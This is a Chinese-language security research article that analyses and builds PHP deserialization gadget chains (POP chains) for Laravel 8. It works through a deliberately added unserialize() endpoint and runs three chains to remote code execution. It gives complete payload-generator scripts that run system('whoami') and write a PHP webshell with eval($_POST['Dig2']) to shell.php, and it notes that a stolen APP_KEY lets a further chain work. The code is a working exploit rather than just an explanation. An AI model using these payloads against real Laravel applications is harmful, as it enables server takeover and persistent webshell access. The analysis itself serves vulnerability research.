作者:Dig2@星盟

前言

作为目前PHP最主流的框架之一,Laravel的主体及其依赖组件一直保持着较频繁的更新。自从2020年9月份Laravel 8发布以来,已经更新了四十多个版本,平均每个月都有八次左右的更新。除了优化,还有重要的原因在于安全性。例如CVE-2021-3129可以在Laravel的Debug模式下任意代码执行。这个CVE的命令执行步骤中有一部分依赖于Phar反序列化的执行。相比较于目前被分析较多的Larave 5.X版本的POP链,Laravel 8 部分组件版本较新,部分类加上了方法进行过滤或者直接禁止了反序列化,故利用方式有所差异。本文分析并挖掘了当前Laravel 8版本中的反序列化链。

__wake

使用composer默认安装方式

composer create-project --prefer-dist laravel/laravel=8.5.9 laravel859

Laravel版本8.5.9,framework版本8.26.1,具体组件版本可参照Packagist Laravel

手动添加反序列化点:

/routes/web.php:

use Illuminate\Support\Facades\Route;use App\Http\Controllers\IndexController;Route::get('/', [IndexController::class, 'index']);

/app/Http/Controllers/IndexController.php:

namespace App\Http\Controllers;use Illuminate\Http\Request;class IndexController extends Controller{ public function index(Request $request) { $p = $request->input('payload'); unserialize($p); }}

反序列化链分析

链一

寻找__destruct

入口类为:的

\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

class PendingBroadcast

这是一个很经典的入口类了,如果读者有研究Laravel 5的反序列化链,可能会知道这个类。其方法:

__destruct

我们可以控制和。如果使为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法。

$this->events

$this->event

$this->events

寻找dispatch方法

的存在dispatch方法

\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

class Dispatcher

可控,可控,要求为ShouldQueue的实例

$command

$this->queueResolver

$this->commandShouldBeQueued

$command

全局搜索,随便找一个ShouldQueue的子类即可

然后就能够进入方法

$this->dispatchToQueue

和均可控。payload如下:

$this->queueResolver

$connection

// 1.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

加强

上面的利用方法中,执行时,执行的函数只有一个参数。如果现在需要执行一个多参数函数比如file_put_contents就没办法了。

call_user_func($this->queueResolver, $connection);

$connection

注意到这里call_user_func的第一个参数除了可以是函数名字符串,还有两种可以利用方式:

使第一个参数为一个类,就能调用该类的方法

__invoke

使第一个参数为数组,例如,表示调用类A的foo方法。下面分别介绍这两种方式例子

[class A, 'foo']

法一:调用__invoke

这里的利用稍为复杂

在的找到了一个非常漂亮的函数

\vendor\opis\closure\src\SerializableClosure.php

class SerializableClosure

__invoke

这里的和均可控,我本来以为能够直接RCE了,然而后面还有两个棘手的问题。

$this->closure

func_get_args()

一个是该类使用的不是标准序列化反序列化方法,而是实现了自己的序列化和反序列化方法:

其实这个问题不难解决,我们可以在生成payload的时候,使用composer引入该组件:

composer require opis/closure

然后在生成payload的代码中加入:

require "./vendor/autoload.php";

再:

$func = function(){file_put_contents("shell.php", "");};$d = new \Opis\Closure\SerializableClosure($func);

就能生成该类实例了

第二个棘手的问题在于,Laravel 8和Laravel 5有一个区别。Laravel 8在序列化和反序列化该类时,使用了验证secret。

该secret由环境变量配置文件,也就是中的决定,Laravel安装的时候,会在文件中生成一个随机的,例如:

.env

APP_KEY

.env

APP_KEY

APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=

我们在本地生成payload的时候,也要手动生成一个,并且secret和远程受害者要是一样的才行。方法为,在本地的的源码文件中加入这么一行(字符串为受害机文件中的密钥):

static::$securityProvider

class SerializableClosure

SerializableClosure.php

.env

那么如何获取受害机的呢?我们在上面既然实现了单参数的任意函数执行,那么就行了。当然,如果有其他漏洞点能够泄露配置文件就更方便了。

APP_KEY

file_get_content('.env')

综上所述,生成payload脚本:

// 1-1.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { require "./vendor/autoload.php"; $func = function(){file_put_contents("shell.php", "");}; $d = new \Opis\Closure\SerializableClosure($func); $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher($d); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

法二:调用另一个类某可控函数

这里使用了JrXnm师傅在其文章Laravel 5.8 RCE POP链汇总分析中提到的方法,使用的,在下面链二的加强中演示。payload一并放在文末的github地址中。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

class LazyOption

链二

寻找__destruct

同链一,入口类为:的

\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

class PendingBroadcast

我们可以控制和。如果使为某个类,并且该类没有实现dispatch方法却有方法,那么就可以调用这个方法了

$this->events

$this->event

$this->events

__call

寻找__call

随后找到位于中的

\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

class Validator

它有方法:

__call

可控,为固定字符串dispatch,取后,为空字符串,故为。可控,跟踪方法

$parameters

$method

substr($method, 8)

$rule

''

$this->extensions

$this->callExtension()

和都是可控的,于是一条利用链就出来了。payload如下:

$callback

$parameters

// 2.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace { $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); print(urlencode(serialize($a)));}

加强

对于链二的总结就是:

$callback(... array_values($parameters));

可控,最多只能为单成员的数组。所以这里也具有无法执行多参数函数比如的问题。

$callback

$parameters

file_put_contents

注意到这里利用的是PHP中的可变函数,经过实验,如下代码可行:

class A{ public function __invoke(){ echo "invoke".PHP_EOL; } public function test(){ echo "test".PHP_EOL; }}$callback1 = new A;$callback1(''); // 输出invoke$callback2 = array(new A, 'test');$callback2(''); // 输出test

因此,可以控制上面利用链中的为数组,就可以调用某其他类任意函数了。

$callback

的是一个很好的选择。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

class LazyOption

其option方法可以调用call_user_func_array函数,且两个参数都可控

虽然option是private属性的方法,在其它类中无法直接调用,但是可以发现在该类自身中,许多函数都在调用option函数

于是构造成功,payload如下所示

// 2-1.phpnamespace PhpOption { class LazyOption { private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } }}namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace { $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "php eval(\$_POST['Dig2']) ?>"]); $b = new Illuminate\Validation\Validator(array(''=>[$c, 'select'])); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important'); print(urlencode(serialize($a)));}

链三

入口类为的。此类在Laravel 5中没有出现。其有函数:

\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php

class FileCookieJar

__destruct

可控,跟踪save函数:

$this->filename

有file_put_contents函数。一路顺下去,能看到该类的接口是实现了IteratorAggregate的,如下

interface CookieJarInterface extends \Countable, \IteratorAggregate

也就是说它实现了自己的方法,这里同样用composer安装一下该组件再进行获取序列化字符串比较方便。因为我们要通过其父类的SetCookie方法来设置这里的值。其余没有什么值得注意的地方,比较简单,payload如下:

foreach ($this as $cookie)

$cookie

// 3.phpnamespace{ require "./vendor/autoload.php"; $a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php"); $a->setCookie(new \GuzzleHttp\Cookie\SetCookie([ 'Name'=>'123', 'Domain'=> "", 'Expires'=>123, 'Value'=>123 ])); print(urlencode(serialize($a)));}

总结

Laravel 8相对于Laravel 5而言,增加了几个组件,又去掉了另几个组件。利用链有部分重叠,也有修复与增补。整体分析下来,思路是非常清晰的,从函数到或者等,再到危险函数完成RCE,中间或许需要跳板反复利用。密钥等信息的泄露也会带来RCE的风险。

__destruct

__invoke

__call

上面代码集合:https://github.com/WgagaXnunigo/laravel8_POP_RCE

java反序列化漏洞POP查找_Laravel8反序列化POP链分析挖掘相关推荐

  1. java反序列化漏洞 tomcat_CVE-2020-9484 Apache Tomcat反序列化漏洞浅析

    本文是i春秋论坛作家「Ybwh」表哥原创的一篇技术文章,浅析CVE-2020-9484 Apache Tomcat反序列化漏洞. 01漏洞概述 这次是因为错误配置和org.apache.catalin ...

  2. OWASP TOP 10(六)反序列化漏洞(序列化和反序列化、漏洞原理、PHP中的序列化和反序列化、魔术方法、Typecho_v1.0中的反序列化漏洞)

    文章目录 反序列化漏洞 一.概述 1. 序列化和反序列化 2. 序列化的目的 二.PHP中的序列化与反序列化 1. 概述 2. 示例序列化与反序列化 3. 反序列化漏洞 - PHP中的魔术方法 - T ...

  3. 【反序列化漏洞-02】PHP反序列化漏洞实验详解

    为什么要序列化 百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis, ...

  4. 反序列化漏洞攻击原理(Dubbo反序列化漏洞剖析)

    关联文章:给服务端发送自定义类实例序列化数据实现反序列化攻击 一.前言 最近大家都在讨论Dubbo反序列化漏洞问题.想必各个大V也都推送了相关文章.看了下各大文章差不多都是一个套路,两个步骤:第一步开 ...

  5. PHP反序列化漏洞(什么是反序列化漏洞及操作)

    **一.**在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如 ...

  6. 反序列化漏洞-JAVA

    反序列化漏洞-JAVA JAVA反序列化了解 反序列化漏洞原理 WebGoat靶场反序列化案例. 发现反序列化漏洞 JAVA反序列化了解 序列化 序列化:将对象转换为字节序列. 反序列化:把字节序列回 ...

  7. thinkphp5.0.24反序列化漏洞分析

    thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 $modelRelat ...

  8. 反序列化对象列表发生异常_通过反序列化漏洞,黑客能做什么呢?

    在之前的文章中讲解了一个反序列化的例子,我们已经知道,通过反序列化漏洞,黑客可以调用到Runtime.exec()来进行命令执行.换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了 ...

  9. PHP反序列化漏洞-从入门到提升

    目录 第一章 PHP序列化基础 1.1 PHP序列化 1.1.1 PHP序列化概述 1.1.2 标准序列化 1.1.3 自定义序列化 1.1.4 序列化存储和转发 1.2 PHP反序列化 1.2.1 ...

  10. Android 反序列化漏洞攻防史话

    Java 在历史上出现过许多反序列化的漏洞,但大部分出自 J2EE 的组件.即便是 FastJSON 这种漏洞,似乎也很少看到在 Android 中被实际的触发和利用.本文即为对历史上曾出现过的 An ...

最新文章

  1. GROMACS运行参数之em_real.mdp文件详解
  2. 数据挖掘:一个end2end完整实例
  3. Codeforces Round #644 (Div. 3)(A-E)
  4. 【渝粤教育】国家开放大学2018年春季 7407-21T药物治疗学(本) 参考试题
  5. 微信扫码下载iosAPP
  6. 抑制过拟合的方法之权值衰减
  7. SpringMvc-MockMvc
  8. 《WinForm开发系列之控件篇》Item31 MenuStrip(暂无)
  9. python 怎么样去txt中提取xml_如何使用python将.txt文件转换成xml文件?
  10. fast recovery area oracle,oracle Fast Recovery Area的管理
  11. Python语言三种优点。
  12. Oracle数据库用户密码过期的解决方法
  13. 大规模异构图召回在美团到店推荐广告的应用
  14. IOS获取农历节日.节气
  15. c语言找最大值最小值
  16. 你知道哪些或者你们线上使用什么GC策略? 它有什么优势,适用于什么场景?
  17. 摄像头模组简介与质量管控(连载三)
  18. 2017 多校训练第二场 HDU 6047 Maximum Sequence(贪心+优先队列)
  19. 关于“超时时间已到”的问题,终于解决了
  20. 计算函数:求和、平均值、最小值、最大值

热门文章

  1. 近红外光谱分析的原理、技术及其分析方法
  2. GET、POST、PUT、DELETE等用法
  3. C++函数参数的缺省值
  4. oracle 新增字段 影响,Oracle 之 表新增字段后修改字段顺序
  5. CAD一键统计所有线段长度
  6. 【经验之谈】谷歌SEO一般具体要做哪些工作?
  7. jar文件怎么打开 查看jar文件内容操作方法
  8. 二级C语言操作例题(十六)
  9. 关于机器人方面的sci论文_科学网—2014年SCI收录机器人期刊22种目录 - 万跃华的博文...
  10. wow3.13大脚插件